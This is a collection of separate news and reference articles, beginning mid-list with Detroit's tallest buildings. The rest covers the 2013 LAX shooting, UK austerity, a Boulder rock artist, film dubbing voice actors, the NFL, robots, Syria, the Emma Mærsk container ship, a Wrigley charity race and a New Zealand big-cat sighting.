tall, 70 floors 2. One Detroit Center: 619 feet tall, 43 floors 3. Penobscot Building: 565 feet tall, 47 floors 4. Renaissance Center Towers 100, 200, 300, 400 (Satellite Towers): 522 feet tall, 39 floors 5. The Guardian Building: 496 feet tall, 40 floors Sources: Emporis, historicdetroit.org Read or Share this story: http://detne.ws/2lwdlQU -FBI Handout Gunman who killed a security agent at LAX was carrying a note expressing 'disappointment in the government', reports claim. In pictures: Shooting at Los Angeles Airport The gunman who opened fire inside Los Angeles International Airport, killing a security agent and injuring several others, was carrying a note describing himself as a "pissed off patriot" who wanted to shoot "pigs", it has been reported. In the hours after Friday's deadly attack, suggestions began to emerge that the shooter - identified as Paul Ciancia, 23 - was motivated by extremist anti-government views as well as emotional problems that had pushed him towards thoughts of suicide. Authorities have declined to address his motivation publicly but a law enforcement official told the Los Angeles Times that a note was found on Ciancia expressing "disappointment in the government" and claiming he had no interest in harming "innocent people". Instead, he wanted to "kill TSA", the note reportedly stated, a reference to the Transport Security Administration created in the wake of the September 11 attacks to increase safety on US transportation. The written rant was said to detail Ciancia's belief that his constitutional rights were being violated by TSA searches and his anger at former Department of Homleand Security Secretary Janet Napolitano. As he embarked on his shooting spree, dressed in fatigues and carrying a high-powered rifle, Ciancia asked several cowering members of the public if they were TSA, witnesses claimed. He found his target, shooting dead 39-year-old agent Gerardo Hernandez, the first TSA officer to be killed in the line of duty since the agency's creation. A number of other agents suffered gunshot wounds. The deadly attack threw one of the world's busiest airports into chaos as terrified passengers fled Terminal 3, some gathering on the airside tarmac under the wings of waiting planes. Others locked themselves in bathrooms as security officers sought to fell the shooter, ultimately engaging him in gunfire which resulted in shots to his mouth and leg, and taking him into custody. Ciancia, originally from New Jersey, reportedly began his assault at a check-in counter where he pulled an assault rifle out of a bag and opened fire. Witnesses heard several "popping" sounds before the gunman moved up an escalator, and through a security screening area to where passengers were waiting for their flights outside boarding gates. He was then shot and wounded by police, reportedly near a Burger King stand. Up to a dozen shots were heard by passengers as they scrambled away. Ciancia had at least five full 30-round magazines with him, police said. He was shot in the mouth and leg by two airport police officers. Ciancia had earlier that day sent a text message to his brother saying that he intended to take his own life. This led his father to contact police in the family's home state of New Jersey expressing concern for his state of mind and asking for help in locating him. They in turn contacted police in Los Angeles who sent a patrol car to Ciancia's apartment in the city. There, his two roommates said they had seen him the previous day and that he appeared to be fine. A former classmate of Ciancia's told the LA Times that the suspected shooter was a loner and suffered bullying at their private school. "In four years, I never heard a word out of his mouth," said David Hamilton, who graduated with Ciancia from Salesianum School in Wilmington, Delaware, in 2008. "He kept to himself and ate lunch alone a lot. I really don't remember any one person who was close to him." Witnesses said Ciancia appeared calm and composed as he picked his way through the terminal seeking targets. But passengers, who included a number of TV and film celebrities, told of their terror during the ordeal. Emmy-nominated actor Tim Daly, who appeared in The Sopranos, was in the Virgin first class lounge on the other side of a wall from the shooting. "Less than a minute after the shots the LAPD burst into the lounge with weapons drawn to make sure there were no bad guys in the lounge," he said. "That was pretty frightening." Daly said when he was evacuated he saw a gun that looked like an AR-15 assault rifle with three clips on the floor outside Gates 35 and 36. He said: "It was right in the middle of where everyone waits to get on their planes. We were told not to step on any blood or bags because it was evidence." TV presenter Tory Belleci, from the show Mythbusters, tweeted: Twitter: Tory Belleci - Heard gun shots then everyone starting running for the door. Not sure if anyone was hurt. #LAX The airport, known as LAX, serves about 64 million people a year, with more than 1,500 flights taking off and landing every day. Terminal 3 is home to Virgin America and other airlines. All flights were grounded and President Barack Obama was being kept informed. Passenger Sarah Richardson said: "We heard a lot of loud gunshots. My colleague threw me to the ground and we were scrambling. Somebody told us to make a run for it. We got into a room and they pulled a coffee machine in front of the door. We could hear gunshots outside. "The sound was so loud we thought a bomb had gone off. Some people hid in a bathroom. It was pure and utter mayhem, people tripping over each other crying and screaming, bags everywhere." Eyewitness Brian Adamick, 43, told the Los Angeles Times he saw a wounded TSA agent with a bloody leg on the tarmac. "It looked like it was straight out of the movies," he said. The agent told him "I got shot, I'm fine," adding that he had been shot before. Los Angeles chef Vernon Cardenas, who was en route to Philadelphia to audition for the MasterChef TV programme, said the gunman looked at him but didn't shoot. He described a white man in his 20s with "dirty blonde hair". Mr Cardenas said: "He was dressed in navy blue clothes, he almost looked like an employee of the airport. He was walking around in sort of a daze." The television channel AMC confirmed that scenes for its award-winning drama Mad Men were being filmed at the airport at the time of the shooting. Production on Mad Men was taking place at nearby Terminal 4 and a member of the crew said on Twitter: "We are filming at LAX. Gun fire. Locked down. Evacuating. Terminal 4. Forced back inside for safety." It was not clear which members of the cast were present at the airport at the time. Mythbusters presenter Tory Belleci told CNN: "People were running towards me screaming 'There's a shooter, there's a shooter.' I heard the shots. Everybody was jumping over each other and trying to stay low. It was blowing my mind how he could get a weapon that far into the airport." Fellow Mythbusters star Grant Imahara said: "To be there was surreal and you went into survival mode. It was like the whole airport was holding its breath for an hour." Passenger Leon Saryan, who was walking from the security check carrying his shoes and belt, told ABC News: "I was cowering in a corner. He (the gunman) looked at me and he said, 'TSA?' I shook my head no, and he kept on going. I just prayed to God. That's all I did. I just prayed." -Despite years of painful austerity, the UK’s level of public spending is today no lower as a share of national income than it was after 11 years of a Labour government in 2008, according to a report by the Institute for Fiscal Studies. The major report from the UK’s leading economic think tank shows that deep cuts have left the NHS, schools and prisons in a “fragile state”, and have merely returned public spending to pre-financial crisis levels. The document presents a challenge to claims that Conservative-driven austerity saved the public finances following years of Labour overspending. We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. The think tank’s report goes on to conclude that in the light of the data, Chancellor Philip Hammond’s plan to abolish the UK’s deficit by the mid-2020s is “no longer sensible”. With his critical Budget approaching in November, it challenges him to admit the target looks “increasingly unlikely” in the light of a worsening economic outlook, exacerbated by Britain’s “terrible” productivity and uncertainty over Brexit. The IFS analysis of public spending levels appears in its pre-Budget look at the Chancellor’s options published on Monday. It found public spending as a share of national income was at a similar level both now and shortly before the financial crash, an event David Cameron and George Osborne claimed Labour overspending left the country ill-prepared for. In 2007-08, public spending as a share of GDP was 39 per cent, it peaked in 2009-10 at 45.1 per cent and is forecast to be 39.6 per cent this year, according to the IFS. The main justification for austerity has been the need to reduce and eventually abolish the deficit, a target that the IFS refers to as “ever-receding”. The IFS argues Mr Hammond’s critical budget speech next month, will be given against a backdrop of a worsening economic outlook that demands austerity goals are rethought. The key to the “significantly worsened” fiscal forecasts expected in November, leaving the Government less money to play with, is the UK’s “lower productivity growth” coming off the back of seven years of “terrible” growth. The report argues Mr Hammond will also find it difficult to raise new money from taxes given the “political arithmetic” that exists following an election which left the Tories without a solid Commons majority. The Chancellor also faces huge pressure to ease the Treasury’s purse strings, including demands to boost universal credit welfare payments, increase public sector pay and spend more on defence. The IFS report said: “It looks like [Mr Hammond] will face a substantial deterioration in the projected state of the public finances. “He will know that seven years of ‘austerity’ have left many public services in a fragile state. And, in the known unknowns surrounding both the shape and impact of Brexit, he faces even greater than usual levels of economic uncertainty.” It goes on: “Given all the current pressures and uncertainties – and the policy action that these might require – it is perhaps time to admit that a firm commitment to running a budget surplus from the mid-2020s onwards is no longer sensible.” The body sets out areas where continuing austerity is having its greatest impact on services, citing “clear signs of strain” in the NHS. It adds: “Both the four-hour A&E target and the 18-week waiting period target are being missed nationally. “The indicators paint a worrying picture for prisons, which, unlike the NHS, have seen large real-terms cuts (over 20 per cent) since 2009-10. “Statistics compiled by the Institute for Government show that while the prison population is at roughly its 2009 level, staffing is down and violence (both against fellow prisoners and prison staff) and prisoner self-harm rates are on an alarmingly steep upwards trajectory.” The report goes on to note how the Chancellor has already abandoned the blanket public sector pay cap and may decide to give more people a pay rise. The Shadow Chancellor John McDonnell said: “The IFS have today confirmed seven years of Tory austerity policies have failed to drive up investment and productivity, with serious potential consequences for the public finances. “Tory economic failure means wages and salaries are lower today than when they came to power, and still falling, whilst their mishandling of Brexit is now also adding to the uncertainty around future borrowing plans.” The Independent contacted the Treasury for comment. We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now. -Michael Garb/Gravity Glue (Facebook) Michael Grab, a Boulder artist who goes by the name Gravity Glue, said that police threatened to ticket or jail him for creating stacked river rock sculptures that the community has been enjoying for years. In a Monday Facebook post, Grab explained that a Boulder police officer had informed him that there would be stiff penalties for continuing his art. “For the past 7 years i have been creating this art in and around Boulder, Colorado, USA. nearly every day!” he wrote. “[J]ust this weekend, one police officer has decided that balancing rocks in Boulder, Colorado is now illegal, obscurely referencing two city codes [5-4-8 and 5-4-2] about ‘destruction of public property’ in relation to rocks.” “So now the police have belligerently taken it upon themselves to write tickets and/or arrest ANYONE balancing rocks in Boulder, CO. and specifically threatened to ticket me and/or arrest me if they catch me in the future,” the artist lamented. “[I] encourage as many people as possible (especially locals) to contact the city council here in Boulder and voice your support for this long standing tradition in Boulder. [I]t is something that an overwhelming portion of the community supports.” Grab said that he would be forced to leave Boulder if the city council did not step in to clarify the city ordinances. Rooster Magazine wondered why Boulder police felt the need to focus on “Draconian rock art witch hunt” instead of higher-than-average rates of rape and theft. “Why is any of this important? Because if we ban every bizzaro Boulder character that causes a stir (see: nude gardening woman), we’re left with nothing more than a college town with a Target that’s about to become Google’s new headquarters,” the magazine noted. “At a time like this, we need less kid gloves in the form of overzealous legislation, and more attention paid to retaining the city’s core personality. And if you don’t like that, f*cking move to Westminster.” “Keep Boulder weird, and keep Gravity Glue making weird ass rock art.” In the end, the call to action worked. Grab said that the city attorney personally called to let him know that rock stacking was not illegal in Boulder. “UPDATE: holy shit! maybe the support was more than i anticipated!!” he exclaimed. “[J]ust got a call from the city attorney personally here in Boulder telling me that he has ordered the police to NOT cite rock balancing under the city codes [I] mentioned below!!!” “THANK YOU everyone for the overwhelming support!!!! [T]hey must have gotten lots of calls!! haha :))” Watch a video below of Gravity Glue doing his thing. -Kirsten Dunst earns millions for a film. But what about the actor who dubs her into Spanish? The world's top voice artists tell all - in their own words Mexico's Kirsten Dunst: Claudia Motta I began dreaming of acting as a little girl, watching Japanese cartoons. I fell in love with the voices. Later I got into radio and then into dubbing - and I love it. After I spoke Kirsten Dunst's lines in Spider-Man, they asked me to do Mona Lisa Smile, Wimbledon, and others. She's a favourite in my stable of characters now, and I'm so pleased things are going well for her in Hollywood. I don't imitate the actor, I get into the personality of the role. I focus on the gestures and reflect that in my voice, even if there was no sound in the original. I add to the drama because to dub well you have to be as good an actor, or better. They paid me 10,000 pesos (£500) for Mary Jane in Spider-Man. The problem is that distributors don't put us in the credits. Suppose Kirsten Dunst thought, "Gosh, how nice I sound in Spanish." She wouldn't have known who the voice belonged to. Much of my work is for television. I'm best known for playing Bart Simpson for 10 years. When different actors were brought in because of a contract dispute, the public demanded we be brought back. Mexican dubbers mostly use a kind of neutral Spanish without accents or regional expressions so all Latin America can understand. We have the best dubbing industry, and the competition in Argentina and Venezuela just doesn't have our finesse or tradition. Top Cat in Spanish has a personality and feeling that is missing in English - and I take my hat off to the woman who voiced the witch in Snow White. France's Angelina Jolie: Françoise Cadol Sometimes my home phone will ring and when I say "hello" there will be a sharp intake of breath at the other end. I know immediately it's a dubbing fan who has got hold of my number. Once a woman rang me and started gasping. Then after a silence, she said: "Sorry, I'm just so emotional at hearing you, I can't speak, I'll have to call back." There are people in Paris who keep scrapbooks on dubbing, who collect signed photos, who know what you've dubbed despite your name rarely appearing on the credits. I respect people's reasons for wanting to contact me, but I don't send out photos. People feel they know the voice and they want to know you. A voice is a very moving thing. Dubbing is taken seriously in France, and people get very upset if an actor who has dubbed a star for a long time suddenly changes. Audiences want continuity. I get invited on to TV shows to discuss dubbing - people are interested in the process. I have been Angelina Jolie since Tomb Raider because I was the voice of Lara Croft in the video games. I thought Jolie was very good in Mr and Mrs Smith - you could tell she and Brad Pitt were having a good time making that film. I don't seek out information on her in the celebrity mags, or follow her life at all, but I get on very well with the French actor who dubs Brad Pitt - a well-known actor in his own right. I'm also Gong Li, Sandra Bullock, Patricia Arquette and the voice of Mary Alice in Desperate Housewives. I dub films because I enjoy it, it's artistic - and it is a skill that teaches you a lot about acting. I'm currently writing my fourth play for my theatre company and dubbing allows me to keep on doing the work for theatre. I've acted in theatres all over Paris, I've been on the TV, but the greatest irony is that I've never actually appeared on the cinema screen. Italy's Renée Zellweger: Giuppy Izzo I was born into the business. My teacher was my father. He had four daughters and most evenings at dinner he would try to teach us something about intonation. He had a saying: "Your voice is the soundtrack of your life." One of my sisters also entered the business and is now a dubbing director as well as a dubbing artist. It was a bit like growing up as a circus child, really. My first job was as the 10-year-old daughter in The Goodbye Girl. I've no idea how many other films I've dubbed since then. I've voiced Renée Zellweger in both her Bridget Jones movies and several others. I've studied her diction, her movements and her breathing so much that I feel I know her. We've not met, though - the only actor I've both dubbed and met is Ellen Pompeo, the star of Grey's Anatomy. She came up and hugged me at a conference in Milan in the summer. The key to this profession is obsession with detail. To get the same effects as in the original, I try, as far as I can, to imitate the actor's movements as I say her lines. Anyone who saw me working would think I was nuts. I lay down on the floor for the bedroom scenes in the Bridget Jones films. At the end of one of them, there's a scene in which Bridget is badly out of breath. I ran twice around the block before we recorded it. China's Tom Cruise: Ren Wei Tom Cruise was my latest voice acting role, but I have played hundreds of parts since I joined the Shanghai Film Dubbing Studio in 1986. I was Ewan McGregor in Moulin Rouge, John Travolta in Broken Arrow, Joseph Fiennes in Enemy at the Gates, Hugh Jackman in Kate and Leopold and Vincent Perez in Fanfan la Tulipe. But my real dream is to become a tenor. Luciano Pavarotti is my idol and I haven't given up trying to get a role in a musical. I have a good voice, dancing skills, and acting experience. I just need a chance. I guess I was chosen to voice the Tom Cruise role in Mission: Impossible III because my age and physique are similar to his. Some people say I even look like him from a certain angle. It was a tough job. While Atang [the Cantonese nickname for Tom Cruise] had months to make the film, I had to do the whole thing - from learning the script to dubbing all the lines - in four days. We always have to rush because of the piracy problem in China. If we don't get the translation and dubbing done quickly, an unauthorised version will be out on the streets before ours. Every day I worked for at least 12 hours. I studied Atang's voice and tried to imitate his style of talking. It was an action movie, so there was lots of running about and shouting, which was hard to emulate in a studio. It was very intense and I had to cover a big range of emotions. In the fighting scenes, it was all "Get down, get down! Go, go!" Then there were romantic moments when his voice breaks up as he tells his wife how much he loves her. I had to watch the original English version time and time again to get the feeling right. When it was all over I was so hoarse that the director told me to go home and take a rest. The crew cracked jokes: "Tom Cruise runs so fast he breaks his legs, Ren Wei shouts so loud he breaks his voice." I have never used the fact that I am Atang's voice actor to chat up women, but I have received letters from fans who say they really like my delivery. But that is not what is most important. My main aim is to satisfy the original actor as much as the audience. Germany's Julia Roberts: Daniella Hoffmann It all started out with the casting for Pretty Woman back in 1990. Back then I didn't expect it to be a big deal - more like a B-movie. I was among the finalists and I think it was my laugh that clinched it. I can do a good, really filthy laugh just like Julia Roberts -I love it when she laughs. Since Pretty Woman I've played her in every film. My vocal range is very like hers, so it all comes pretty naturally. With Ally McBeal, whom I also dub, I put on a very different voice, much higher. I don't often get recognised as being the voice of Julia Roberts. I think women's voices are much harder to identify than men's. But being Julia has definitely brought work my way. Some adverts want the sound of "Julia Roberts" and I have also done Charlotte's Web because it was originally Julia who did the voiceover. When I come in to record I generally haven't seen the film I'm going to dub. It used to be different: we used to get the videos to take home beforehand. But these days they are amazingly strict about new releases. When I did a voice for Star Wars, I wasn't even told in advance what film we were doing - just to turn up. But when I play Julia Roberts I don't need to prepare or anything. I follow her lead. I mean, the woman is a great actress, an Oscar-winning actress - why should I change anything about her work? India's Arnold : Schwarzenegger: Pawan Kalra I've done most of the big names: I was Arnold in The Terminator and True Lies; I voiced Owen Wilson in Shanghai Noon and Shanghai Knights; and Hugh Jackman in Van Helsing. A number of people say I look like Bruce Willis and I did Bruce as the cop in Sin City. I think Brad Pitt is one of the finest. I have just done him in Spy Games - a great film. Pitt is a very fine actor who can both overplay and underplay a role. You really have to watch how he speaks, it is fantastic. Dubbing is an art requiring a voice of many textures and tones. Not everybody can do it just because they have a good voice. Voiceover artists are cast and we have writers who make the scripts fit the lip movements of the actors on screen so that it runs as smoothly as possible. There are sometimes arguments over how to translate a single phrase. It is hardest with black actors like Eddie Murphy and Will Smith. They are not only very funny but they speak very, very fast. Trying to street talk quickly in Hindi is extremely tough. After two days your mouth gets really tired. My brother was in the film business. I was running my father's transport company in Bihar, out there in the sticks. But I had done some performances, so my brother said: come out and try. So I did. And here I am, eight years later. A film for TV takes two days. I will make 20,000 rupees (£250). For theatre release it is more like 50,000 rupees (£625). It's really exploding. I do films, commercials and TV shows now. There are a lot more people saying "I heard you on television" these days. But it's a really competitive industry. When I started there were just a few people - now everybody thinks they can voice movies. · Interviews by Jo Tuckman, Angelique Chrisafis, John Hooper, Jonathan Watts, Jess Smee and Randeep Ramesh -ALLEN PARK -- There was some fear that Ndamukong Suh had opened himself to possible retaliation hits following his latest questionable football act. Seems he had to wait only one week for the first blow, after Arizona right guard Paul Fanaika dove at Suh's knees behind a play during Sunday's game. But there's been little media coverage of the hit, and no public backlash. Ndamukong Suh was on the other side of a questionable block Sunday against Arizona, but isn't making a big deal about it. And the Detroit Lions defensive tackle isn't angry at the possible double-standard. "(That kind of hit) happens all the time," Suh said during a news conference Wednesday "It's not going to stop. Look forward to it -- look forward to keep making plays down the field. That's my job. "To me, it's just gnats that are in the air that keep going after you. You swat at 'em, and sometimes you hit 'em, sometimes you don't. Sometimes they run away, sometimes they come back again. But ultimately, I'm just that bee going to find that honey hole. That's what I do." Suh was excoriated by various players, past and present, as well as coaches and some media for blocking Minnesota center John Sullivan in the knees in the opener. He drew a record $100,000 fine. Fanaika, conversely, wasn't whistled for a penalty -- in fact, the block was legal because Fanaika's an offensive lineman -- and the country hasn't rallied to Suh's defense. Suh said he "doesn't care" about being treated differently in the media. "That's not my job," he said. Coach Jim Schwartz shrugged off the play as well, and wouldn't disclose whether Detroit has or plans to file a grievance with the league. "That whole turning plays in and saying the league called and said this, I honestly think that's a little unbecoming," Schwartz said. "We try to keep our conversations with the league just to that. If they tell us they blew a call ... I mean, how many times have I come up here and said that? "Probably never, because we don't make excuses. We don't want to make excuses for stuff like that." Schwartz did seem to have some issue with the rule itself though, which allows for offensive lineman to block below the waist as long as it's from the front. "Is it less of an injury risk (than if a defensive lineman does it)? No, but it's a legal play as opposed to a play that's penalized, so it is what it is," he said. Suh also denied a Fox Sports report that he's stomped on teammates in practice, deferring to previous statements from Schwartz and center Dominic Raiola that it never happened. -Humanoid robots are a vanity project: an attempt to create artificial life in our own image – essentially trying to play God. The problem is, we’re not very good at it. Ask someone on the street to name a robot and you might hear “Terminator”, “the Cybermen” or “that gold one from Star Wars”. What you’re not going to be given are names like Tesla Model X, Cassini or DJI Inspire 2. These are all robots, but they don’t follow the sci-fi narrative of what robots should be like. The fact is, the robots of the near future won’t be going about on two legs like the shuffling C3PO. And they’ll be much more efficient than us bipeds. Our impression of what a robot is has been tainted by science fiction and popular culture. The term “robot” was first used in 1920 by Karel and Josef Čapek in a play called R.U.R. to describe an artificial automaton. Since then, our narcissistic desires have seen the word become synonymous with humanoid robots, or androids. We like to think that we’re the dominant creatures on the planet, so mobile robots should look like us. But the fact is, they shouldn’t. We can’t fly, we’re not very good swimmers, we can’t live in a vacuum and if we want to travel more than a mile, most of us will get on some type of wheeled vehicles. Bipedal locomotion has served us well but it is limited and requires a huge amount of brain power and years of learning to perfect. The computer versions of our brain are nowhere near our level and are unlikely to be so for decades to come. After nearly 100 years of development, our most advanced humanoid robots can only just open a door without falling over (too often). Is a plane a robot? So what is the future of robotics? Well, it comes down to what you define a robot as. Unfortunately there isn’t a unified definition of what a robot is, but the general consensus is that it’s a physical device which can sense its surroundings and interact with the environment with limited human intervention. This could either be automation, where tasks are pre-programmed, or autonomy, where the robot makes decisions on its own. Let’s say that I build a little four-wheeled robot that can move from point A to point B without crashing into anything. I can give it a map and tell it where to go and it will do so without any further instructions. This sounds quite nifty, but what’s the point of it? Well now let’s scale it up so you can sit in it. Now suddenly it’s not a robot, it’s a driverless car. But all that’s changed is the size. I now want to fly off on my holidays. I quite happily get on the plane and see the two pilots in the cockpit. When I land, they’re still there and I think what a great job they did. More than likely though, the pilots didn’t actually fly the plane. They will have inputted commands to the autopilot and the computer will have flown the plane. The plane, for all intents and purposes, is a robot with human supervisors to take over if anything goes drastically wrong, just like a driverless car. Planes, trains automobiles … and robots The future of nearly all transport is mobile robots. We’re already there with robotic aircraft and within the next decade, we’ll have robot cars. Robots already fly through space and scour the bottom of the ocean. It won’t be too long before we have driverless trains and trams too. Drones will become a bigger part of society. All these things are robots, but they’ve had to be called something else due to societal impression of what a robot is. What this highlights is that we adapt the technology to fit the environment. Rather than building robots that look like us so that they can be a direct replacement, you’ll start to see things being built to suit a problem. Why do you need a robot with complex hands to pick up a pair of scissors or a hammer, when it can be built into their arms? Why build a robot to climb over debris in an earthquake on two legs, when four or six legs – or a wheeled track – would be much more stable? There is no doubt that eventually androids will be walking around and talking with us. You’ll pass them wandering down the street or hold a conversation with one as you do your shopping. But for now, the robots of the near future won’t walk like us. Instead they’ll drive, they’ll fly, they’ll swim or they’ll walk on any number of legs – except two. -Russia today announced the beginning of a significant military drawdown in Syria, with the nation’s lone aircraft carrier group being withdrawn from the Syrian coast, and a number of troops apparently set to follow as the ceasefire in the country continues to hold. Exact details of the drawdown are unclear, but reports suggest a drawdown of some sort was actually always meant to be part of the deal which led to the ceasefire, which began a week ago and continues to mostly hold. There is considerable skepticism, however. That’s because Russia already announced a drawdown back in 2016, shortly after the February ceasefire began, only to eventually send a number of reinforcements when that collapsed. Until a peace deal is negotiated, these drawdowns are always going to be seen as temporary. Peace talks are coming though, with plans for negotiations in Kazakhstan some time later in January. Exact dates are not set, and the rebels have largely not committed to take part in the negotiations. Last 5 posts by Jason Ditz -Emma Mærsk is the first container ship in the E-class of eight owned by the A. P. Moller-Maersk Group. When launched in 2006 she was the largest container ship ever built, and in 2010 she and her seven sister ships were among the longest container ships. Officially, she is able to carry around 11,000 twenty-foot equivalent units (TEU) or 14,770 TEU depending on definition. In May 2010, her sister ship Ebba Mærsk set a record of 15,011 TEU in Tanger-Med, Tangiers.[3] History [ edit ] Emma Mærsk was built at the Odense Steel Shipyard in Denmark. In June 2006, during construction, welding work caused a fire within the superstructure.[4] It spread rapidly through the accommodation section and bridge, which delayed her completion by six to seven weeks. She was named in a ceremony on 12 August 2006, after Mærsk Mc-Kinney Møller's late wife, Emma. She set sail on her maiden voyage on 8 September 2006 at 02:00 hours from Aarhus, calling at Gothenburg, Bremerhaven, Rotterdam, Algeciras, the Suez Canal, and arrived in Singapore on 1 October 2006 at 20:05 hours. She sailed the next day for Yantian in Shenzhen, then Kobe, Nagoya, arriving at Yokohama on 10 October 2006, and returning via Shenzhen, Hong Kong, Tanjung Pelepas, the Suez Canal, Felixstowe, Rotterdam, Bremerhaven, Gothenburg to Aarhus, arriving on 11 November 2006 at 16:00 hours.[5] She appeared in headlines prior to Christmas 2006, when she was dubbed SS Santa because she was bound for the United Kingdom from China loaded with Christmas goods. The return journey to southern China was loaded with UK waste for recycling.[6] Her appearance in the news prompted the State Environmental Protection Administration in China to promise to "closely watch the progress of investigation into the dumping of garbage in south China by Britain". Ministry officials added that no official approval had been given to any company in the area to import waste.[7] In 2008, the ship was featured on an episode of the television documentary series Mighty Ships, during a voyage between Malaysia and Spain.[8] In 2011, the National Bank of Denmark issued a 20 DKK commemorative coin for her.[9] Going eastwards on 1 February 2013, she suffered a damaged stern thruster and took on so much water in the Suez Canal that she became unmaneuvrable. Tugs, anchors and the wind[10] took her to Port Said to offload 13,500 containers, drain her and be investigated by divers. She had not been in danger of sinking.[11][12][13][14][15] On 15 February 2013, Maersk Line confirmed that she was about to leave Port Said under tow to a yard for further assessment and repair.[16] On 25 February she reached the yard of Palermo, Sicily, where she was scheduled to stay for four months.[17] In August 2013, she was in service again[18] after a DKK 250 million (roughly US$44.5m) repair.[19] Capacity [ edit ] Originally Maersk reported a capacity of 11,000 TEU (twenty-foot equivalent units) as the maximum capacity of fully loaded 14 ton containers, according to Maersk company's then method of calculating capacity,[20] which, at her introduction into service, was about 1,400 more containers than any other ship.[21] However, Maersk also acknowledges the standard method of defining capacity, stating 14,770 TEU.[22] By normal calculations, she has a capacity significantly greater than reported—between 13,500 and 15,200 TEU.[23][24] The difference between the official and estimated numbers is because Maersk calculates the capacity of a container ship by weight (in this case, 14 tons/container), i.e. 11,000+ containers,[25] of which 1,000 can be refrigerated containers.[26] Other companies calculate capacity according to the maximum number of containers that can be carried irrespective of weight, always greater than the number calculated by the Maersk method.[citation needed] As of 2012, the E-class is still the largest by full-weight 14-tonne capacity. The Marco Polo can carry 10,000 14-t containers, 16,020 if not fully loaded.[27][28] On 21 February 2011, Maersk ordered a family of ten even larger ships from Daewoo, the Maersk Triple E class, with a capacity of 18,000 containers. A further ten ships were ordered in June 2011. The first was delivered in 2013.[29][30] Engine and hull [ edit ] She is powered by a Wärtsilä-Sulzer 14RTFLEX96-C engine, the world's largest single diesel unit, weighing 2,300 tonnes and capable of 81 MW (109,000 hp) when burning 14,000 litres (3,600 US gal)[31] of heavy fuel oil per hour. At economical speed, fuel consumption is 0.260 bs/hp·hour (1,660 gal/hour).[32] She has features to lower environmental damage, including exhaust heat recovery and cogeneration.[33] Some of the exhaust gases are returned to the engine to improve economy and lower emissions,[34] and some are passed through a steam generator which then powers a Peter Brotherhood steam turbine and electrical generators. This creates an electrical output of 8.5 MW,[35] equivalent to about 12% of the main engine power output. Some of this steam is used directly as shipboard heat.[36] Five diesel generators together produce 20.8 MW,[35] giving a total electric output of 29 MW.[26] Two 9 MW electric motors augment the power on the main propeller shaft.[35] Two bow and two stern thrusters provide port manoeuvrability, and two pairs of stabilizer fins reduce rolling.[35] A special silicone-based paint, instead of biocides used by much of the industry, keeps barnacles off of the hull.[21] This increases her efficiency by reducing drag while also protecting the ocean from biocides that may leak. The paint is credited with lowering the water drag enough to save 1,200 tonnes of fuel per year.[37] The ship has a bulbous bow, a standard feature for cargo ships. The turning diameter at 44 km/h (24 knots) is 1.50 km (0.81 nmi). The engine is near midship to make best use of the rigidity of the hull and to maximize capacity. When banking 20 degrees, the bridge sways 35 metres.[38] Sailing schedules [ edit ] Her regular round trip is between northern Europe and the far east via the English Channel, the Strait of Gibraltar and the Suez Canal, calling at Ningbo, Xiamen, Hong Kong (westbound), Yantian (westbound), Algeciras (westbound), Rotterdam, Bremerhaven, Algeciras (eastbound), Yantian (eastbound), Hong Kong (eastbound), and Ningbo.[5][39][40] As of April 2011 , the schedule included Gdańsk, Aarhus, and Gothenburg.[41] Criticism [ edit ] She and similar ships have been criticised for burning bunker fuel, which has a high sulphur content,[42] 2.5 to 4.5%, over 2,000 times more than allowed in automotive fuel.[42] In Europe, new rules regarding the operation of marine shipping will require ships to burn cleaner fuel. MARPOL Regulation 14 will limit global sulphur content to 0.5% in 2020. However, a review of global fuel availability due to conclude in 2018 may delay the new regulations by five years, until 2025.[43] See also [ edit ] -Now in its 11th year, the annual Race to Wrigley will feature a new course this year, giving participants their first chance to experiencing running through the new bleacher concourse that opened last year. The race, which starts at Addison and Racine, takes runners through the Wrigleyville and Lakeview areas, heading west to Ravenswood and east on Irving Park. This year, runners will continue on Irving Park all the way to Sheridan, which will eventually lead them to the center outfield of Wrigley Field for a final stretch through the field’s concourse before ending at Clark and Addison. “It’s always been a race that reflects the fact that we are in a neighborhood and yet a major league ballpark,” Mike Lufrano, executive vice president of community affairs and chief legal officer for the Chicago Cubs, says. “It’s the third largest tourist attraction in Illinois. We started a race that would combine the two, [allowing runners] to see a bit of the neighborhood and community and reflect the fact that we are part of the community as well.” The 5K race, which will start at 8 a.m. on April 23, also serves as a crucial fundraiser for Cubs Charities. Runners can also choose to individually raise money for Advocate Children’s Hospital, with the first 100 who raise $500 receiving an autographed baseball from a current Cubs player. “[The money raised] all goes back into the community here,” Lufrano says. “It supports youth sports, building baseball fields, health and fitness programs for kids, provides scholarships for kids to go to college. Last year, we donated about $3.4 million total and the race is part of that.” Registration for the race will remain open online through April 22. To sign up, visit either cubscharities.org or racetowrigley.com. -Mid Canterbury's mysterious big black cat is back. Ange Montgomery reckons she spotted it prowling down an Eiffelton hedge line 150 metres away from where she was sitting having a coffee early one frosty August morning. She knows some people might think she is crazy, but she knows she's not. She knows what she saw, and that other people have seen it too. Erin Tasker/FairfaxNZ Angela Montgomery, with two-year-old daughter Isabel Purton, believes she saw Mid Canterbury's mysterious black panther walking along the hedge in the background. It's been about three years since the last reported sighting of the cat, which some people believe is a black panther or puma. Its story dates to 2001 when it was first spotted near Alford Forest. In 2003, Ashburton truck driver Chad Stewart saw a large black animal sitting at the foot of a hill near stockyards on the Mayfield farm of Blair and Sarah Gallagher. READ MORE: * High-country trap for mystery black panther * Editorial: Mystery of the panther Erin Tasker/FairfaxNZ Angela Montgomery, with two-year-old daughter Isabel Purton, believes she saw Mid Canterbury's mysterious black panther walking along the hedge in the background. Extensive searching from air and on land found no trace of the mysterious animal. In the years that followed numerous people reported seeing a similar creature lurking on Mid Canterbury farm land. Montgomery admits that before she saw it for herself she would have been skeptical. Montgomery – who moved from Christchurch to an Eiffelton dairy farm with her partner and two-year-old daughter Isabel only a couple of months ago – knows what she saw was a big cat. It walked along the hedge and then disappeared into it. It was the way it walked that convinced her it was a big cat. She has been keeping her eyes peeled since, but has not seen it again. "It was exciting for me, I know what I saw and it wasn't anything explainable," she said. "It wasn't a cow, or a dog, or anything like that." She called out to her partner, but he was not quick enough to see it. When he told her it might have been a black panther, she thought he was kidding, until she remembered seeing something on the news a few years ago about a panther sighting in the area. Now, she is a believer, but she held off going public until she had researched the other sightings and the habits of big cats. 